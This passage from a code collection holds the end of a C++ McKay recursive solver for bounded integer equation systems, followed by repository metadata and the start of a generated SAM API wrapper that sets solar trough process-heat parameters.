+ g - 1) / g; hirhs[j] = hirhs[j] < 0 ? -1 : hirhs[j] / g; /* Write some information.*/ cerr<<"eqn "<<j<<": g="<<g<<" lorhs="<<lorhs[j] <<" hirhs="<<hirhs[j]<<"\n"; if (lorhs[j] > hirhs[j]) return j; } return -1; } /* \subsection{gcd} used in \|divideeqns|. */ int mckay::tMCKAY::gcd(int n1,int n2) { int a,b,c; if (n1 > n2) { a = n1; b = n2; } else { a = n2; b = n1; } while ((c = a % b) > 0) { a = b; b = c; } return(b); } /* \section{solve --- brute force recursion} This procedure is called recursively. */ void mckay::tMCKAY::solve(int level, vector<int> &alo, vector<int> &ahi, vector<bool> &aactive, int numvar, vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn, int verbose_level) { int f_v = (verbose_level >= 1); //int f_vv = (verbose_level >= 2); int f_vvv = (verbose_level >= 3); int i,j; vector<int> lo, hi; lo.resize(_varanz); hi.resize(_varanz); int isplit, mindiff; vector<bool> active; active.resize(_eqnanz); //int current_node; int f_restriction_made; //current_node = nb_calls_to_solve; nb_calls_to_solve++; #if 0 if (f_vv) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << "mckay::tMCKAY::solve " << problem_label //<< " node " << current_node << " first_moved " << first_moved << " second_moved " << second_moved << " level " << level << endl; } #ifdef MCKAY_DEBUG if (f_vvv) { cout << " : "; for (i = 0; i < level; ++i) { cout << "x_" << split[i] << "=" << branch[i]; if (i < level - 1) { cout << ", "; } } } #endif if (f_vv) { cout << endl; } #endif #ifdef MCKAY_DEBUG if (f_vvv) { cout << "level=" << level << endl; cout << "i : split[i] : range[i] : branch[i]" << endl; for (i = 0; i < level; ++i) { cout << i << " : " << split[i] << " : " << range[i] << " : " << branch[i] << " : " << endl; } cout << "low and high:" << endl; for (j = 0; j < numvar; j++) { cout << j << " : " << alo[j] << " : " << ahi[j] << endl; } } #endif #if 0 if (f_vvv) { log_12l(current_node, level); cout << " current system:" << endl; puteqns(alo,ahi,numvar,lorhs,hirhs,eqn,neqn,numeqn); } #endif //f_debug = FALSE; //f_debug = (verbose_level >= 10); if (_break) { return; } if (FALSE) { int nacc = 0; cout << " SOLVE level "<<level<< endl; cout<<"Number of active equations: "; for (i = numeqn; --i >= 0;) if (aactive[i]) ++nacc; cout<<":"<<nacc<<endl; for (i = 0; i < numeqn; i++) { if (aactive[i]) cout << i << " "; } cout << endl; cout << "low and high:" << endl; for (j = 0; j < numvar; j++) { cout << j << " : " << alo[j] << " : " << ahi[j] << endl; } #ifdef MCKAY_DEBUG os_interface Os; if (((Os.os_ticks() - ticks0) / Os.os_ticks_per_second()) > INTERVAL_IN_SECONDS) { ticks0 = Os.os_ticks(); //f_debug = TRUE; puteqns(alo,ahi,numvar,lorhs,hirhs,eqn,neqn,numeqn); cout << "level=" << level << endl; cout << "range[] : branch[] :" << endl; for (i = 0; i < level; ++i) cout << range[i] << " : " << branch[i] << " : " << endl; } #endif } /* \|lo|, \|hi| and \|active| are local arrays. */ for (i = 0; i < numvar; ++i) { lo[i] = alo[i]; hi[i] = ahi[i]; } for (i = 0; i < numeqn; ++i) { active[i] = aactive[i]; } if (!restrict_variables(level, lo, hi, active, numvar, lorhs, hirhs, eqn, neqn, numeqn, f_restriction_made, verbose_level - 1)) { #if 0 if (f_vv) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << "solve restrict_variables returns FALSE, " "backtracking" << endl; } #endif return; } #if 0 if (f_vvv && f_restriction_made) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << " after restriction: low and high:" << endl; for (i = 0; i < numvar; i++) { cout << i << " : " << lo[i] << " : " << hi[i] << endl; } } #endif // Here comes the searching part. // \|mindiff| gives the smallest // difference between lower and upper bound of a variable. // \|isplit| // is the corresponding variable number. #if 0 if (f_vv) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << "searching part" << endl; } #endif mindiff = INT_MAX; isplit = -1; for (i = 0; i < numvar; ++i) { if (hi[i] != lo[i] && hi[i] - lo[i] < mindiff) { isplit = i; mindiff = hi[i] - lo[i]; } } // If \|isplit| $< 0$ we have found a solution. // Otherwise we try to delete variables by // \|varprune| and we try to delete equations // by \|pruneqn|. if (isplit < 0) { if (f_v) { log_12l(nb_calls_to_solve, level); cout << " solution " << D->_resultanz << endl; } D->_results.push_back(lo); D->_resultanz++; if (D->_resultanz < D->_maxresults) { _break = false; } else { _break = true; } } else { if (level == 0) { varprune(lo,hi,lorhs,hirhs,eqn,neqn,numeqn, verbose_level); //#if VERBOSE > 2 //puteqns(lo,hi,numvar,lorhs,hirhs,eqn,neqn,numeqn); //#endif pruneqn(lo,hi,numvar,lorhs,hirhs,eqn,neqn,numeqn, verbose_level); //#if VERBOSE > 2 #if 0 if (f_vvv) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << " after varprune and pruneqn:" << endl; puteqns(lo,hi,numvar,lorhs,hirhs,eqn,neqn,numeqn); } #endif //#endif } /* Finally we start the recursion. the variable with the number \|isplit| runs from \|lo[isplit]| to \|hi[isplit]| and for each step we call \|solve| with this fixed value. \|branch|, \|split| and \|range| are collected for debugging purposes. */ #if 0 if (TRUE /*(f_v && (current_node % 10000) == 0) || f_vv*/) { //log_12l(current_node, level); log_12l(nb_calls_to_solve, level); cout << "solve choosing variable " << isplit << " lo=" << lo[isplit] << " hi=" << hi[isplit] << endl; } #endif for (i = 0; i <= mindiff; ++i) { int first_moved_orig = first_moved; int second_moved_orig = second_moved; int f_first_moved_has_changed = FALSE; int f_second_moved_has_changed = FALSE; if (i) { if (level < first_moved) { first_moved = level; second_moved = INT_MAX; } else if (level < second_moved) { second_moved = level; } if (first_moved != first_moved_orig) { f_first_moved_has_changed = TRUE; } if (second_moved != second_moved_orig) { f_second_moved_has_changed = TRUE; } } if (f_first_moved_has_changed || f_second_moved_has_changed || (nb_calls_to_solve % 10000000) == 0) { log_12l(nb_calls_to_solve, level); cout << " x_" << isplit << " = " << lo[isplit] << endl; } hi[isplit] = lo[isplit]; #ifdef MCKAY_DEBUG split[level] = isplit; branch[level] = lo[isplit]; range[level] = mindiff+1; #endif // here comes the recursion: if (f_v) { cout << "solve level " << level << " isplit=" << isplit << " before solve i=" << i << " / " << mindiff << endl; for (j = 0; j < numeqn; j++) { if (aactive[i]) cout << j << " "; } cout << endl; cout << "low and high:" << endl; for (j = 0; j <= level; j++) { cout << j << " : " << alo[j] << " : " << ahi[j] << endl; } #if 0 #ifdef MCKAY_DEBUG if (TRUE/*((os_ticks() - ticks0) / os_ticks_per_second()) > INTERVAL_IN_SECONDS*/) { ticks0 = os_ticks(); //f_debug = TRUE; puteqns(alo,ahi,numvar,lorhs,hirhs,eqn,neqn,numeqn); cout << "level=" << level << endl; cout << "range[] : branch[] :" << endl; for (j = 0; j <= level; j++) { cout << range[j] << " : " << branch[j] << " : " << endl; } } #else // cout << "MCKAY_DEBUG is FALSE" << endl; #endif #endif } solve(level + 1, lo, hi, active, numvar, lorhs, hirhs, eqn, neqn, numeqn, verbose_level); if (f_v) { cout << "solve level " << level << " isplit=" << isplit << " after solve" << endl; } ++lo[isplit]; } // next i } // else #if 0 if (f_vv) { log_12l(nb_calls_to_solve, level); //log_12l(current_node, level); cout << " done" << endl; } #endif } int mckay::tMCKAY::restrict_variables(int level, vector<int> &lo, vector<int> &hi, vector<bool> &active, int numvar, vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn, int &f_restriction_made, int verbose_level) { int f_v = (verbose_level >= 1); int f_vv = (verbose_level >= 2); //int f_vvv = (verbose_level >= 3); //int f_debug; int i, j; long int current_node; int losum,hisum,eic,eiv,lx,hx; int nfree,ok, xlo,xhi; int save; int f_restriction_made_in_this_eqn; if (f_v) { cout << "mckay::tMCKAY::restrict_variables" << endl; } if (f_vv) { cout << "low and high:" << endl; for (j = 0; j <= level; j++) { cout << j << " : " << lo[j] << " : " << hi[j] << endl; } puteqns(lo, hi, numvar, lorhs, hirhs, eqn, neqn, numeqn); cout << "level=" << level << endl; cout << "range[] : branch[] :" << endl; for (j = 0; j <= level; j++) { cout << range[j] << " : " << branch[j] << " : " << endl; } } current_node = nb_calls_to_solve; /* The following line seems to be a relict from another problem. */ /* *< if (level == 8 && lo[22] == 1 && lo[19] == 1) nul(); >* */ /* The following loop through the equations tries to restrict the lower and upper bounds on the variables. We only have to handle active equations. */ ok = 0; /* ok = number of equations that have been * checked since the last change of any * lo[] or hi[] was made. * the aim is to check all equations once * without reducing hi[] - lo[]; * so that we have reached stability */ f_restriction_made = FALSE; for (j = 0; ok < numeqn; j = (j == numeqn-1 ? 0 : j+1)) { // j is the next equation to check; // j wraps around all equation indices if (f_vv /*f_debug*/) { cout << "mckay::tMCKAY::restrict_variables checking equation " << j << endl; } ++ok; if (active[j]) { f_restriction_made_in_this_eqn = FALSE; // we check equation j: // We distinguish two cases: // First, if there are only $\{0,1\}$-coefficients. if (FALSE /*unitcoeffs[j]*/) { // The lower and upper bounds on the variables // (belonging to nonzero coefficients) are summed up // in \|losum| and \|hisum|. if (f_vv /*f_debug*/) { cout << "checking equation " << j << " with unitcoeffs" << endl; } losum = 0; hisum = 0; for (i = neqn[j]; --i >= 0;) { losum += lo[eqn[j][i].var]; // lowest possible lhs hisum += hi[eqn[j][i].var]; // highest possible lhs } if (losum > hirhs[j]) { if (f_v) { cout << "solve " << problem_label << " node " << current_node << " level " << level << "return b/c for equation " << j << " with unitcoeffs " "we have losum = " << losum << " > " << hirhs[j] << " = hirhs[j]" << endl; } return FALSE; } if (hisum < lorhs[j]) { if (f_v) { cout << "solve " << problem_label << " node " << current_node << " level " << level << "return b/c for equation " << j << " with unitcoeffs " " we have hisum = " << hisum << " < " << lorhs[j] << " = lorhs[j]" << endl; } return FALSE; } // If possible the lower or upper bounds on the // variables are restricted further. // count the number of remaining free // variables in nfree. nfree = 0; for (i = neqn[j]; --i >= 0;) { eiv = eqn[j][i].var; hx = hi[eiv]; lx = lo[eiv]; if (hx != lx) { xlo = lorhs[j] + hx - hisum; // = lorhs[j] - (hisum - hx), i.e., // lorhs[j] minus hisum of all the // other variables. // This is a lower bound on the amount // that the current variable contributes. xhi = hirhs[j] + lx - losum; // = hirhs[j] - (losum - lx), i.e. // hirhs[j] minus losum of all the // other variables. // This is an upper bound on the amount // that the current variable contributes. if (xlo > lx) { save = lo[eiv]; lo[eiv] = xlo; if (lo[eiv] != save) { f_restriction_made = TRUE; f_restriction_made_in_this_eqn = TRUE; if (f_v) { cout << "increasing lo[" << eiv << "] from " << save << " to " << lo[eiv] << endl; } } ok = 0; // a change was made; // loop through all // equations again. } if (xhi < hx) { save = hi[eiv]; hi[eiv] = xhi; if (lo[eiv] != save) { f_restriction_made = TRUE; f_restriction_made_in_this_eqn = TRUE; if (f_v) { cout << "reducing hi[" << eiv << "] from " << save << " to " << hi[eiv] << endl; } } ok = 0; } if (lo[eiv] != hi[eiv]) { ++nfree; } } // if (hx != lx) } // next i } // if (unitcoeffs[j]) // Now the slightly more complicated case // if there are coefficents greater than $1$. // If the lower bound of a variable becomes greater // than its upper bound, the procedure is stopped at once. else { // Again the lower and upper bounds on the variables // (belonging to nonzero coefficients) are summed // up in \|losum| and \|hisum|. if (f_v /*f_debug*/) { cout << "mckay::tMCKAY::restrict_variables checking equation " << j << " without unitcoeffs" << endl; } losum = 0; hisum = 0; for (i = neqn[j]; --i >= 0;) { losum += eqn[j][i].coeff * lo[eqn[j][i].var]; hisum += eqn[j][i].coeff * hi[eqn[j][i].var]; } if (losum > hirhs[j]) { if (f_v) { cout << "mckay::tMCKAY::restrict_variables " << problem_label << " node " << current_node << " level " << level << "return b/c for equation " << j << " without unitcoeffs " "we have losum = " << losum << " > " << hirhs[j] << " = hirhs[j]" << endl; } return FALSE; } if (hisum < lorhs[j]) { if (f_v) { cout << "mckay::tMCKAY::restrict_variables " << problem_label << " node " << current_node << " level " << level << "return b/c for equation " << j << " without unitcoeffs " "we have hisum = " << hisum << " < " << lorhs[j] << " = lorhs[j]" << endl; } return FALSE; } if (f_vv && f_restriction_made_in_this_eqn) { cout << "mckay::tMCKAY::restrict_variables " "equation " << j << ", after restriction: " "low and high:" << endl; for (i = 0; i < numvar; i++) { cout << i << " : " << lo[i] << " : " << hi[i] << endl; } cout << "hisum=" << hisum << endl; cout << "losum=" << losum << endl; } // And if possible the lower or upper bounds // on the variables // are restricted further. f_restriction_made_in_this_eqn = FALSE; nfree = 0; for (i = neqn[j]; --i >= 0;) { if (FALSE /*f_debug*/) { cout << "restricting lower and upper " "bounds equation " << j << endl; } if (hi[eqn[j][i].var] != lo[eqn[j][i].var]) { eic = eqn[j][i].coeff; eiv = eqn[j][i].var; hx = eic * hi[eiv]; lx = eic * lo[eiv]; xlo = lorhs[j] + hx - hisum; // = lorhs[j] - (hisum - hx), i.e., // lorhs[j] minus hisum of all the other variables. // This is a lower bound on the amount // that the current variable contributes. xhi = hirhs[j] + lx - losum; // = hirhs[j] - (losum - lx), i.e. // hirhs[j] minus losum of all the other variables. // This is an upper bound on the amount // that the current variable contributes. if (xlo > lx) { save = lo[eiv]; lo[eiv] = (xlo + eic - 1) / eic; if (lo[eiv] != save) { f_restriction_made = TRUE; f_restriction_made_in_this_eqn = TRUE; if (f_v) { cout << "increasing lo[" << eiv << "] from " << save << " to " << lo[eiv] << " : " << "eqn j=" << j << " variable " << eiv << " coeff=" << eic << " lorhs[j]=" << lorhs[j] << " hisum=" << hisum << " hx=" << hx << " hisum - hx=" << hisum - hx << endl; } } if (lo[eiv] > hi[eiv]) { if (f_v) { cout << "return bc for eqn " << j << " term " << i << " xlo > lx " "and lo[eiv] > hi[eiv]" << endl; } return FALSE; } ok = 0; } if (xhi < hx) { save = hi[eiv]; hi[eiv] = xhi / eic; if (hi[eiv] < save) { f_restriction_made = TRUE; f_restriction_made_in_this_eqn = TRUE; if (f_v) { cout << "reducing hi[" << eiv << "] from " << save << " to " << hi[eiv] << " : " << "eqn j=" << j << " variable " << eiv << " coeff=" << eic << " hirhs[j]=" << hirhs[j] << " losum=" << losum << " lx=" << lx << " losum - lx=" << losum - lx << endl; } } if (lo[eiv] > hi[eiv]) { if (f_v) { cout << "return bc for eqn " << j << " term " << i << " xhi < hx " "and lo[eiv] > hi[eiv]" << endl; cout << "xlo=" << xlo << endl; cout << "xhi=" << xhi << endl; cout << "lx=" << lx << endl; cout << "hx=" << hx << endl; cout << "eic=" << eic << endl; cout << "eiv=" << eiv << endl; cout << "lo[eiv]=" << lo[eiv] << endl; cout << "hi[eiv]=" << hi[eiv] << endl; } return FALSE; } ok = 0; } if (lo[eiv] != hi[eiv]) { ++nfree; } } // if hi[eqn[j][i] } // next i if (f_vv && f_restriction_made_in_this_eqn) { cout << "mckay::tMCKAY::restrict_variables " "equation " << j << ", after restriction: " "low and high:" << endl; for (i = 0; i < numvar; i++) { cout << i << " : " << lo[i] << " : " << hi[i] << endl; } cout << "hisum=" << hisum << endl; cout << "losum=" << losum << endl; } } // else // Now hopefully the variables are in each // case further restricted. // The equation becomes inactive if // \item{(1)} there are no free variables in // this equation \"and // \item{(2)} if it was not possible to further // restrict the variables in the last try. if (ok > 0 && nfree == 0) { active[j] = false; } } // if (active[j]) } // next j return TRUE; } void mckay::tMCKAY::log_12l(long int current_node, int level) { cout << "solve " << problem_label << " node " << current_node << " first_moved "; if (first_moved < INT_MAX) { cout << first_moved; } else { cout << "infinity"; } cout << " second_moved "; if (second_moved < INT_MAX) { cout << second_moved; } else { cout << "infinity"; } cout << " level " << level; cout << " nb_sol=" << D->_resultanz; } } }
25.858726
115
0.508124
abetten
591cfcda93a7f61258283a371c37cf3f085c0a55
123,412
cpp
C++
api/modules/SAM_TroughPhysicalProcessHeat.cpp
jkelroy/SAM
3c05e55ec7d9e31f33e06f17fa6fb41bb19f04db
[ "BSD-3-Clause" ]
219
2017-07-28T17:25:14.000Z
2022-03-17T23:03:17.000Z
api/modules/SAM_TroughPhysicalProcessHeat.cpp
jkelroy/SAM
3c05e55ec7d9e31f33e06f17fa6fb41bb19f04db
[ "BSD-3-Clause" ]
729
2017-08-10T14:42:30.000Z
2022-03-31T23:14:09.000Z
api/modules/SAM_TroughPhysicalProcessHeat.cpp
jkelroy/SAM
3c05e55ec7d9e31f33e06f17fa6fb41bb19f04db
[ "BSD-3-Clause" ]
109
2017-09-16T00:52:54.000Z
2022-03-31T18:05:05.000Z
#include <string> #include <utility> #include <vector> #include <memory> #include <iostream> #include <ssc/sscapi.h> #include "SAM_api.h" #include "ErrorHandler.h" #include "SAM_TroughPhysicalProcessHeat.h" SAM_EXPORT int SAM_TroughPhysicalProcessHeat_execute(SAM_table data, int verbosity, SAM_error* err){ return SAM_module_exec("trough_physical_process_heat", data, verbosity, err); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Weather_azimuth_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "azimuth", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Weather_file_name_sset(SAM_table ptr, const char* str, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_string(ptr, "file_name", str); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Weather_solar_resource_data_tset(SAM_table ptr, SAM_table tab, SAM_error *err){ SAM_table_set_table(ptr, "solar_resource_data", tab, err); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Weather_tilt_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "tilt", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Weather_track_mode_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "track_mode", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_A_aperture_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "A_aperture", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_AbsorberMaterial_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "AbsorberMaterial", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_AnnulusGas_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "AnnulusGas", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Ave_Focal_Length_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "Ave_Focal_Length", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_ColperSCA_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "ColperSCA", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_2_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_2", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_3_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_3", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_4_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_4", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_5_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_5", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_cpnt_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_cpnt", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_D_p_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "D_p", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Design_loss_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Design_loss", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Dirt_HCE_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Dirt_HCE", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Dirt_mirror_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "Dirt_mirror", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Distance_SCA_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "Distance_SCA", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_EPSILON_4_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "EPSILON_4", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_EPSILON_5_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "EPSILON_5", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Error_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "Error", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_FieldConfig_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "FieldConfig", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Flow_type_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Flow_type", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Fluid_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "Fluid", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_GeomEffects_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "GeomEffects", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_GlazingIntactIn_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "GlazingIntactIn", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_HCE_FieldFrac_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "HCE_FieldFrac", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_HDR_rough_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "HDR_rough", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_IAM_matrix_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "IAM_matrix", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_I_bn_des_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "I_bn_des", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_K_cpnt_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "K_cpnt", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_SCA_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "L_SCA", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_aperture_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "L_aperture", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_cpnt_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "L_cpnt", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_heat_sink_piping_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "L_heat_sink_piping", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_rnr_per_xpan_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "L_rnr_per_xpan", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_xpan_hdr_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "L_xpan_hdr", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_L_xpan_rnr_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "L_xpan_rnr", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Min_rnr_xpans_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "Min_rnr_xpans", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_N_hdr_per_xpan_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "N_hdr_per_xpan", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_N_max_hdr_diams_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "N_max_hdr_diams", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_P_a_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "P_a", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Pipe_hl_coef_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "Pipe_hl_coef", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Rho_mirror_clean_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "Rho_mirror_clean", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Rough_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Rough", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Row_Distance_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "Row_Distance", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_SCA_drives_elec_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "SCA_drives_elec", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Shadowing_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Shadowing", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_T_fp_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "T_fp", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_T_loop_in_des_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "T_loop_in_des", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_T_loop_out_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "T_loop_out", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Tau_envelope_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Tau_envelope", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_TrackingError_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "TrackingError", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_Type_cpnt_mset(SAM_table ptr, double* mat, int nrows, int 